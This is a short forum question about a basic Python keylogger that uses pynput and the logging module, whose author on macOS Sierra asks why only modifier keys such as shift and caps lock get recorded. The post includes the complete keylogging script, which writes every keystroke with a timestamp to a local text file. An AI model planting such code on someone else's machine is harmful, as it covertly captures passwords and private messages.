I hope this hasn't been discussed on a previous thread. My search results returned nothing pertinent but please feel free to enlighten me!
I'm in the process of writing a very basic Python keylogger (for part of a larger project). I'm using pynput to listen for keystrokes and the logging module to write these to a txt file (see below). It seems to be working so far with the only problem being that it will only log the shift, command, space and caps locks keys. All other keystrokes i.e. letters, numbers etc. are not logged.
I'm running OSX 10.12 (Sierra), Python 3.5.2.
Any suggestions/ideas as to why this might be (and possible solutions) would be hugely appreciated.
Thanks.
from pynput.keyboard import Key, Listener
import logging
log_dir = ""
logging.basicConfig(filename=(log_dir + 'key_log.txt'), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()